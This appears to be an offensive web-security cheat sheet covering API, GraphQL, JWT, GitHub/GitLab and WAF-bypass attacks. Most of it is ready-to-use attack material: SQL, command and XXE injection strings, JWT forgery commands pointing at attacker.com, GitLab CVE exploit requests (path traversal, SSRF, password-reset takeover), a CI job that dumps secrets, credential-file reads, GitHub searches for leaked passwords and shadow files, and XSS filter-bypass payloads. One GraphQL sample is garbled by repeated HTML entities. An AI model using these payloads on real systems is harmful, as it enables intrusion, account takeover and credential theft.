https://api-guesser.netlify.app/

# Wordlists
https://github.com/chrislockard/api_wordlist
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common-api-endpoints-mazen160.txt
https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content/api
https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/common-methods/common-methods.txt

# Swagger to burp
https://rhinosecuritylabs.github.io/Swagger-EZ/

# List swagger routes
https://github.com/amalmurali47/swagroutes

# Checklist
https://gitlab.com/pentest-tools/API-Security-Checklist/-/blob/master/README.md

# Best mindmap
https://dsopas.github.io/MindAPI/play/

# GUID guesser
https://gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18

# Test swagger endpoints
https://github.com/BishopFox/sj
```

## General

```bash
# SOAP uses: mostly HTTP and XML, have header and body
# REST uses: HTTP, JSON , URL and XML, defined structure
# GraphQL uses: Custom query language, single endpoint

# Always check for race conditions and memory leaks (%00)

# SQLi tip
{"id":"56456"} - OK
{"id":"56456 AND 1=1#"} -> OK
{"id":"56456 AND 1=2#"} -> OK
{"id":"56456 AND 1=3#"} -> ERROR
{"id":"56456 AND sleep(15)#"} -> SLEEP 15 SEC

# Shell injection
- RoR
Check params like ?url=Kernel#open
and change like ?url=|ls

# Tip
If the request returns nothing:
- Add this header to siumlate a Frontend
"X-requested-with: XMLHttpRequest"
- Add params like:
GET /api/messages             > 401
GET /api/messages?user_id=1   > 200

# Checklist:
•  Auth type
•  Max retries in auth
•  Encryption in sensible fields
•  Test from most vulnerable to less
   ◇ Organization's user management
   ◇ Export to CSV/HTML/PDF
   ◇ Custom views of dashboards
   ◇ Sub user creation&management
   ◇ Object sharing (photos, posts,etc)
• Archive.org
• Censys
• VirusTotal
• Abusing object level authentication
• Abusing weak password/dictionary brute forcing
• Testing for mass management, instead /api/videos/1 -> /api/my_videos
• Testing for excessive data exposure
• Testing for command injection
• Testing for misconfigured permissions
• Testing for SQL injection

Access
• Limit in repeated requests
• Check always HTTPS
• Check HSTS
• Check distinct login paths /api/mobile/login | /api/v3/login | /api/magic_link
• Even id is not numeric, try it /?user_id=111 instead /?user_id=user@mail.com
• Bruteforce login
• Try mobile API versions
• Don't assume developer, mobile and web API is the same, test them separately

Input
• Check distinct methods GET/POST/PUT/DELETE.
• Validate content-type on request Accept header (e.g. application/xml, application/json, etc.)
• Validate content-type of posted data (e.g. application/x-www-form-urlencoded, multipart/form-data, application/json, etc.).
• Validate user input (e.g. XSS, SQL-Injection, Remote Code Execution, etc.).
• Check sensitive data in the URL.
• Try input injections in ALL params
• Locate admin endpoints
• Try execute operating system command 
   ◇ Linux :api.url.com/endpoint?name=file.txt;ls%20/
• XXE
   ◇ <!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
• SSRF
• Check distinct versions api/v{1..3}
• If REST API try to use as SOAP changing the content-type to "application/xml" and sent any simple xml to body
• IDOR in body/header is more vulnerable than ID in URL
• IDOR:
   ◇ Understand real private resources that only belongs specific user
   ◇ Understand relationships receipts-trips
   ◇ Understand roles and groups
   ◇ If REST API, change GET to other method Add a “Content-length” HTTP header or Change the “Content-type”
   ◇ If get 403/401 in api/v1/trips/666 try 50 random IDs from 0001 to 9999
• Bypass IDOR limits:
   ◇ Wrap ID with an array {“id”:111} --> {“id”:[111]}
   ◇ JSON wrap {“id”:111} --> {“id”:{“id”:111}}
   ◇ Send ID twice URL?id=<LEGIT>&id=<VICTIM>
   ◇ Send wildcard {"user_id":"*"}
   ◇ Param pollution 
      ▪ /api/get_profile?user_id=<victim’s_id>&user_id=<user_id>
      ▪ /api/get_profile?user_id=<legit_id>&user_id=<victim’s_id>
      ▪ JSON POST: api/get_profile {“user_id”:<legit_id>,”user_id”:<victim’s_id>}
      ▪ JSON POST: api/get_profile {“user_id”:<victim’s_id>,”user_id”:<legit_id>}
      ▪ Try wildcard instead ID
• If .NET app and found path, Developers sometimes use "Path.Combine(path_1,path_2)" to create full path. Path.Combine has weird behavior: if param#2 is absolute path, then param#1 is ignored.
   ◇ https://example.org/download?filename=a.png -> https://example.org/download?filename=C:\\inetpub\wwwroot\a.png
   ◇ Test: https://example.org/download?filename=\\smb.dns.praetorianlabs.com\a.png
• Found a limit / page param? (e.g: /api/news?limit=100) It might be vulnerable to Layer 7 DoS. Try to send a long value (e.g: limit=999999999) and see what happens :)

Processing
•  Check if all the endpoints are protected behind authentication.
•  Check /user/654321/orders instead /me/orders.
•  Check auto increment ID's.
•  If parsing XML, check XXE.
•  Check if DEBUG is enabled.
• If found GET /api/v1/users/<id> try DELETE / POST to create/delete users
• Test less known endpoint POST /api/profile/upload_christmas_voice_greeting

Output
• If you find sensitive resource like /receipt try /download_receipt,/export_receipt.
• DoS Limit: /api/news?limit=100 -> /api/news?limit=9999999999
• Export pdf - try XSS or HTML injection
   ◇ LFI: username=<iframe src="file:///C:/windows/system32/drivers/etc/hosts" height=1000 width=1000/>
   ◇ SSRF: <object data=”http://127.0.0.1:8443”/>
   ◇ Open Port: <img src=”http://127.0.0.1:445”/> if delay is < 2.3 secs is open
   ◇ Get real IP: <img src=”https://iplogger.com/113A.gif”/>
   ◇ DoS: <img src=”http://download.thinkbroadband.com/1GB.zip”/>
      ▪ <iframe src=”http://example.com/RedirectionLoop.aspx”/>
      
      
# Endpoint bypasses
# whatever.com/api/v1/users/sensitivedata -> access denied
# Add to the final endpoint
.json
?
..;/
\..\.\getUSer
/
??
&details
#
%
%20
%09

# General info about APIs
https://openapi.tools/

# Common vulns
- API Exposure
- Misconfigured Caching
- Exposed tokens
- JWT Weaknesses
- Authorization Issues / IDOR / BOLA
- Undocumented Endpoints
- Different Versions
- Rate Limiting (BF allowed)
- Race Conditions
- XXE injection
- Switching Content Type
- HTTP Methods
- Injection Vulnerabilities
```

## REST

```
# Predictable endppoints
GET /video/1
DELETE /video/1
GET /video/1/delete
GET /video/2

# Create POST
# Read GET
# Update POST PUT
# Delete PUT DELETE

# Fuzz users & methods to enumerate like /$user$/1 with https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/common-methods/common-methods.txt

# Check if supports SOAP. Change the content-type to "application/xml", add a simple XML in the request body, and see how the API handles it.
```

## GraphQL

### Tools

```
# https://github.com/gsmith257-cyber/GraphCrawler
# https://github.com/dolevf/graphw00f
# https://github.com/nikitastupin/clairvoyance
# https://github.com/y0k4i-1337/clairvoyancex
# https://github.com/bountyyfi/introspectme
# https://github.com/assetnote/batchql
# https://github.com/dolevf/graphql-cop

# https://github.com/doyensec/GQLSpection
# https://github.com/doyensec/inql
# https://github.com/swisskyrepo/GraphQLmap
# https://apis.guru/graphql-voyager/
# https://gitlab.com/dee-see/graphql-path-enum

# https://graphql.security/
# https://astexplorer.net/

# Burp extensions
https://github.com/doyensec/inql
https://github.com/forcesunseen/graphquail
```

### Resources

```
https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty/
https://blog.securelayer7.net/api-penetration-testing-with-owasp-2017-test-cases/
https://blog.forcesunseen.com/graphql-security-testing-without-a-schema
https://escape.tech/blog/graphql-security-wordlist/
https://www.assetnote.io/resources/research/exploiting-graphql
```

### Common bugs

```
# IDOR
Try access any user id other than yours


# SQL/NoSQL Injections
"filters":{
		"username":"test' or 1=1--"
	}
	
# Rate Limit
Because of the nature of GraphQL, we can send multiple queries in a single request by batching them together. If the developers did not implement any kind of mechanism to prevent us from sending batch requests than we could potentially bypass rate limiting by sending the following queries in a single request:
mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"x@example.com" password:"password"}){success jwt}}

# Info disclosure
A query can be constructed from scratch from verbose error messages even when we don’t have the benefits of introspection.

# DOS
Similar to XXE billion laughs attack

query {
&amp;amp;nbsp; posts{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; title
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comments{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comment
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; user{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comments{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   user{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   comments{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   comment
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;  &amp;amp;nbsp; user{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;  &amp;amp;nbsp; comments{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;  &amp;amp;nbsp; comment
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   user{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   comments{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   comment
 &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;       user{
 &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   ...
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}
```

### Tips

```
# Easy to enumeration

# Create {createPost(...)}
# Read {post(id:"1"){id,..}}
# Update {updatePost(...)}
# Delete {deletePost(...)}

To test a server for GraphQL introspection misconfiguration: 
1) Intercept the HTTP request being sent to the server 
2) Replace its post content / query with a generic introspection query to fetch the entire backend schema 
3) Visualize the schema to gather juicy API calls. 
4) Craft any potential GraphQL call you might find interesting and HACK away!

example.com/graphql?query={__schema%20{%0atypes%20{%0aname%0akind%0adescription%0afields%20{%0aname%0a}%0a}%0a}%0a}

XSS in GraphQL:
http://localhost:4000/example-1?id=%3C/script%3E%3Cscript%3Ealert('I%20%3C3%20GraphQL.%20Hack%20the%20Planet!!')%3C/script%3E%3Cscript%3E
http://localhost:4000/example-3?id=%3C/script%3E%3Cscript%3Ealert('I%20%3C3%20GraphQL.%20Hack%20the%20Planet!!')%3C/script%3E%3Cscript%3E

# Introspection query
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
# Encoded
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
# Formatted
{
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}

```


# JS

```
# JSScanner
# https://github.com/dark-warlord14/JSScanner
# https://securityjunky.com/scanning-js-files-for-endpoint-and-secrets/
bash install.sh
# Configure domain in alive.txt
bash script.sh
cat js/*
cd db && grep -oriahE "https?://[^\"\\'> ]+"

# https://github.com/KathanP19/JSFScan.sh
bash JSFScan.sh -l targets.txt -e -s -m -o 

# https://github.com/bp0lr/linkz

# FindSecrets in JS files
https://github.com/m4ll0k/SecretFinder
python3 SecretFinder.py -i https://example.com/1.js -o results.html

# Js vuln scanner, like retire.js with crawling
https://github.com/callforpapers-source/jshole

# get Shell from xss
https://github.com/shelld3v/JSshell

# Find JS sourcemap
1) Find JavaScript files
2) ffuf -w js_files.txt -u FUZZ -mr "sourceMappingURL"
3) Download sourcemap
4) https://github.com/chbrown/unmap
5) Browse configs or just grep for API keys/Creds
```


# ASP.NET

```
# Look for trace
example.com/trace.axd
example.com/any.aspx/trace.axd
```

{% embed url="<https://www.securifera.com/blog/2023/03/06/attacking-net-web-services/>" %}


# JWT

{% embed url="<https://jwtauditor.com/>" %}

## Tools

```bash
# https://github.com/ticarpi/jwt_tool
# https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology

# https://github.com/hahwul/jwt-hack
# https://github.com/mazen160/jwt-pwn
# https://github.com/mBouamama/MyJWT
# https://github.com/DontPanicO/jwtXploiter

# Test all common attacks
python3 jwt_tool.py -t https://url_that_needs_jwt/ -rh "Authorization: Bearer JWT" -M at -cv "Welcome user!"

# Hashcat
# dictionary attacks 
hashcat -a 0 -m 16500 jwt.txt passlist.txt
# rule-based attack  
hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule
# brute-force attack
hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6


# Crack
pip install PyJWT
# https://github.com/Sjord/jwtcrack
# https://raw.githubusercontent.com/Sjord/jwtcrack/master/jwt2john.py
jwt2john.py JWT
./john /tmp/token.txt --wordlist=wordlist.txt

# Wordlist generator crack tokens:
# https://github.com/dariusztytko/token-reverser

# RS256 to HS256
openssl s_client -connect www.google.com:443 | openssl x509 -pubkey -noout > public.pem
cat public.pem | xxd -p | tr -d "\\n" > hex.txt
# Sign JWT with hex.txt 

# Generate JWT from terminal
pip install pyjwt
python3 -c 'import jwt;print(jwt.encode({"role": "admin"},"SECRET",algorithm="HS256").decode("UTF-8"))'
```

## General info

```
1. Leak Sensitive Info
2. Send without signature
3. Change algorythm r to h
4. Crack the secret h256
5. KID manipulation

eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjE1ODQ2NTk0MDAsInVzZXJuYW1lIjoidGVtcHVzZXI2OSIsInJvbGVzIjpbIlJPTEVfRVhURVJOQUxfVVNFUiJdLCJhcHBDb2RlIjoiQU5UQVJJX0FQSSIsImlhdCI6MTU4NDU3MzAwMH0.AOHXCcMFqYFeDSYCEjeugT26RaZLzPldqNAQSlPNpKc2JvdTG9dr2ini4Z42dd5xTBab-PYBvlXIJetWXOX80A

https://trustfoundry.net/jwt-hacking-101/
https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9
https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a

- JKU & X5U Headers - JWK
    - Header injection
    - Open redirect



- Remember test JWT after session is closed
```

## Attacks

### Header

```
# None algorithm
python3 jwt_tool.py <JWT> -X a

# From RS256 to HS256
python3 jwt_tool.py <JWT> -S hs256 -k public.pem

# Not checked signature
python3 jwt_tool.py <JWT> -I -pc name -pv admin

# Crack secret key
python3 jwt_tool.py <JWT> -C -d secrets.txt 

# Null kid
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

# Use source file as kid to verify signature
python3 jwt_tool.py -I -hc kid -hv "path/of/the/file" -S hs256 -p "Content of the file"

# jku manipulation for open redirect
python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwttool_custom_jwks.json"

# x5u manipulation for open redirect
openssl req -newkey rsa:2048 -nodes -keyout private.pem -x509 -days 365 -out attacker.crt -subj "/C=AU/L=Brisbane/O=CompanyName/CN=pentester"
python3 jwt_tool.py <JWT> -S rs256 -pr private.pem -I -hc x5u -hv "https://attacker.com/custom_x5u.json"
```

### Payload

```
# SQLi
python3 jwt_tool.py <JWT> -I -pc name -pv "imparable' ORDER BY 1--" -S hs256 -k public.pem

# Manipulate other values to change expiration time or userID for example
```


# GitHub

## Tools

```
# Dump GH repo
# githack
  https://github.com/OwenChia/githack
# Goop - Another dumper
  https://github.com/deletescape/goop
# GitDumper 
  https://github.com/internetwache/GitTools
  If we have access to .git folder: 
  ./gitdumper.sh http://example.com/.git/ /home/user/dump/
  ./extractor.sh /home/user/dump/ /home/user/dump_extracted 
# Extract secrets from the repo
# https://github.com/zricethezav/gitleaks#
  gitleaks detect /tmp/test -v
# https://github.com/trufflesecurity/trufflehog
  trufflehog filesystem --directory=/tmp/test  
  
  
  
# Manual way to extract blob's content:
  git cat-file --batch-check --batch-all-objects | grep blob
  git cat-file -p HASH
# GitGot 
  https://github.com/BishopFox/GitGot
  ./gitgot.py --gist -q CompanyName./gitgot.py -q '"example.com"'./gitgot.py -q "org:github cats"
# GitRob https://github.com/michenriksen/gitrob
  gitrob website.com
# GitHound https://github.com/tillson/git-hound 
  echo "domain.com" | githound --dig --many-results --languages common-languages.txt --threads 100
# GitGrabber https://github.com/hisxo/gitGraber
# SSH GIT https://shhgit.darkport.co.uk/
# GithubSearch
  https://github.com/gwen001/github-search
# Trufflehog
trufflehog https://github.com/Plazmaz/leaky-repo
trufflehog --regex --entropy=False https://github.com/Plazmaz/leaky-repo
# If you have public .git
https://github.com/HightechSec/git-scanner
# GitMiner
# wordpress configuration files with passwords
  python3 gitminer-v2.0.py -q 'filename:wp-config extension:php FTP\_HOST in:file ' -m wordpress -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4 -o result.txt
# brasilian government files containing passwords
  python3 gitminer-v2.0.py --query 'extension:php "root" in:file AND "gov.br" in:file' -m senhas -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
# shadow files on the etc paste
  python3 gitminer-v2.0.py --query 'filename:shadow path:etc' -m root -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
# joomla configuration files with passwords 
  python3 gitminer-v2.0.py --query 'filename:configuration extension:php "public password" in:file' -m joomla -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
  
# GitLeaks
sudo docker pull zricethezav/gitleaks
sudo docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
or (repository in /tmp)
sudo docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/repository

# GitJacker - for exposed .git paths
# https://github.com/liamg/gitjacker
curl -s "https://raw.githubusercontent.com/liamg/gitjacker/master/scripts/install.sh" | bash
gitjacker url.com

# Then visualize a commit:
https://github.com/[git account]/[repo name]/commit/[commit ID]
https://github.com/zricethezav/gitleaks/commit/744ff2f876813fbd34731e6e0d600e1a26e858cf

# Manual local checks inside repository
git log
# Checkout repo with .env file
git checkout f17a07721ab9acec96aef0b1794ee466e516e37a
ls -la
cat .env

# Find websites from GitHub
https://github.com/Orange-Cyberdefense/versionshaker
```


# GitLab

GitLab security testing - enumeration, common vulnerabilities, and exploitation techniques.

## Default Credentials

```
Username: root
Password: 5iveL!fe

Username: admin  
Password: 5iveL!fe

# Note: GitLab 14.0+ forces password change on first login
```

## Enumeration

### Public Information

```bash
# Check for public projects (even on private instances)
https://gitlab.target.com/explore
https://gitlab.target.com/explore/projects
https://gitlab.target.com/explore/groups
https://gitlab.target.com/explore/snippets

# Search for sensitive content
# Use searchbar for: password, secret, key, token, api_key, credentials

# API endpoints (may leak version info)
https://gitlab.target.com/api/v4/version
https://gitlab.target.com/api/v4/projects
https://gitlab.target.com/api/v4/users
```

### User Enumeration

```bash
# Enumerate users via API
curl https://gitlab.target.com/api/v4/users

# Check user profiles
https://gitlab.target.com/users/admin
https://gitlab.target.com/admin

# Enumerate via response differences
# Valid user: 200 OK with profile
# Invalid user: 404 Not Found
```

### Version Detection

```bash
# Check version (if exposed)
curl https://gitlab.target.com/api/v4/version
curl https://gitlab.target.com/help

# Fingerprint via assets
# Compare JS/CSS hashes with known versions
```

## Common Vulnerabilities

### CVE-2021-22205 (RCE via Image Upload) - Critical

```bash
# Affects GitLab CE/EE < 13.10.3, < 13.9.6, < 13.8.8
# Unauthenticated RCE via malicious image in exiftool

# Check if vulnerable
curl -s https://gitlab.target.com/users/sign_in | grep -oP 'gitlab_version.*?(\d+\.\d+\.\d+)'

# Exploit - https://github.com/AhmedMohamedDev/CVE-2021-22205
python3 exploit.py -t https://gitlab.target.com -c "id"
```

### CVE-2021-22214 (SSRF)

```bash
# Affects GitLab CE/EE 10.5 to 13.10.4
# SSRF via CI lint API

curl -X POST "https://gitlab.target.com/api/v4/ci/lint" \
  -H "Content-Type: application/json" \
  -d '{"content": "include:\n  remote: http://attacker.com/evil.yml"}'
```

### CVE-2023-2825 (Path Traversal)

```bash
# Affects GitLab CE/EE 16.0
# Unauthenticated path traversal to read files

curl "https://gitlab.target.com/uploads/-/system/personal_snippet/1/secret/../../../../../../../../etc/passwd"
```

### CVE-2023-7028 (Account Takeover)

```bash
# Affects GitLab CE/EE < 16.5.6, < 16.6.4, < 16.7.2
# Password reset to attacker-controlled email

# Exploit via duplicate email parameter
POST /users/password HTTP/1.1
user[email]=victim@target.com&user[email]=attacker@evil.com
```

## CI/CD Pipeline Exploitation

### Secrets in CI Variables

```yaml
# .gitlab-ci.yml - Check for exposed secrets
# Variables often visible in job logs if not masked

script:
  - echo $CI_JOB_TOKEN  # May have repo access
  - echo $PRIVATE_TOKEN  # If misconfigured
  - printenv  # Dump all variables
```

### Token Abuse

```bash
# CI_JOB_TOKEN has temporary access to:
# - Clone repositories in the same group
# - Push to container registry
# - Access package registry

# Use stolen CI_JOB_TOKEN
git clone https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.target.com/group/repo.git

# Access container registry
docker login -u gitlab-ci-token -p ${CI_JOB_TOKEN} registry.gitlab.target.com
```

### Runner Exploitation

```bash
# If you can modify .gitlab-ci.yml in any repo:
# 1. Shared runners may access other project secrets
# 2. Shell executors run as gitlab-runner user
# 3. Docker executors may allow container escape

# Malicious CI job
stages:
  - exploit

exploit:
  stage: exploit
  script:
    - cat /etc/passwd
    - env
    - ls -la /home/gitlab-runner/
```

## GraphQL API Testing

```bash
# Introspection query
curl -X POST https://gitlab.target.com/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { types { name } } }"}'

# Query current user
curl -X POST https://gitlab.target.com/api/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer TOKEN" \
  -d '{"query": "{ currentUser { username email } }"}'
```

## Post-Exploitation

```bash
# If you have access to GitLab server:

# Database credentials
cat /etc/gitlab/gitlab.rb | grep -i password
cat /var/opt/gitlab/gitlab-rails/etc/database.yml

# Secrets file (for cookie signing, etc.)
cat /etc/gitlab/gitlab-secrets.json

# Rails console (as root)
gitlab-rails console
# Then: User.find_by(username: 'root').password = 'newpassword'

# Backup (contains all data)
ls /var/opt/gitlab/backups/
```

## Tools

```bash
# GitLab enumeration
# https://github.com/AhmedMohamedDev/gitlab-enum
python3 gitlab_enum.py -t https://gitlab.target.com

# CI/CD exploitation
# https://github.com/AhmedMohamedDev/nord-stream
nord-stream -t gitlab -u https://gitlab.target.com -token TOKEN

# General
nuclei -t http/cves/2021/CVE-2021-22205.yaml -u https://gitlab.target.com
```

## Related Topics

* [CI/CD Security](/enumeration/webservices/ci-cd-security) - Pipeline attacks
* [SSRF](/enumeration/web/ssrf) - GitLab SSRF vulnerabilities
* [Supply Chain](/enumeration/web/supply-chain) - Code repository attacks


# WAFs

{% embed url="<https://waf-bypass.com>" %}

## Tools

```
whatwaf https://example.com
wafw00f https://example.com

# https://github.com/vincentcox/bypass-firewalls-by-DNS-history
bash bypass-firewalls-by-DNS-history.sh -d example.com

# Bypasser
# https://github.com/RedSection/pFuzz
# https://github.com/nemesida-waf/waf-bypass

# Domain IP history
https://viewdns.info/iphistory/

# Bypasses and info
https://github.com/0xInfection/Awesome-WAF
https://github.com/waf-bypass-maker/waf-community-bypasses
```

```
# Manual identification
dig +short target.com
curl -s https://ipinfo.io/<ip address> | jq -r '.com'

# Always check DNS History for original IP leak
https://whoisrequest.com/history/

# Waf detection
nmap --script=http-waf-fingerprint victim.com
nmap --script=http-waf-fingerprint --script-args http-waf-fingerprint.intensive=1 victim.com
nmap -p80 --script http-waf-detect --script-args="http-waf-detect.aggro " victim.com
wafw00f victim.com

# Good bypass payload:
%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)
javascript:”/*’/*`/* →<html \” onmouseover=/*&lt;svg/*/onload=alert()//>

# Bypass trying to access to :
dev.domain.com
stage.domain.com
ww1/ww2/ww3...domain.com
www.domain.uk/jp/

# Akamai
origin.sub.domain.com
origin-sub.domain.com
- Send header:
Pragma: akamai-x-get-true-cache-key
{{constructor.constructor(alert`1`)()}}
\');confirm(1);//
444/**/OR/**/MID(CURRENT_USER,1,1)/**/LIKE/**/"p"/**/#

# ModSecurity Bypass
<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>

# Cloudflare
python3 cloudflair.py domain.com
# https://github.com/mandatoryprogrammer/cloudflare_enum
cloudflare_enum.py disney.com
https://viewdns.info/iphistory/?domain=domain.com
https://whoisrequest.com/history/

# Cloudflare bypasses
<!<script>alert(1)</script>
<a href=”j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this[‘document’][‘cookie’]&rpar;”>X</a>
<img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert'1';>
<select><noembed></select><script x='a@b'a>y='a@b'//a@b%0a\u0061lert(1)</script x>
<a+HREF=’%26%237javascrip%26%239t:alert%26lpar;document.domain)’>

# Aqtronix WebKnight WAF
- SQLi
0 union(select 1,@@hostname,@@datadir)
0 union(select 1,username,password from(users))
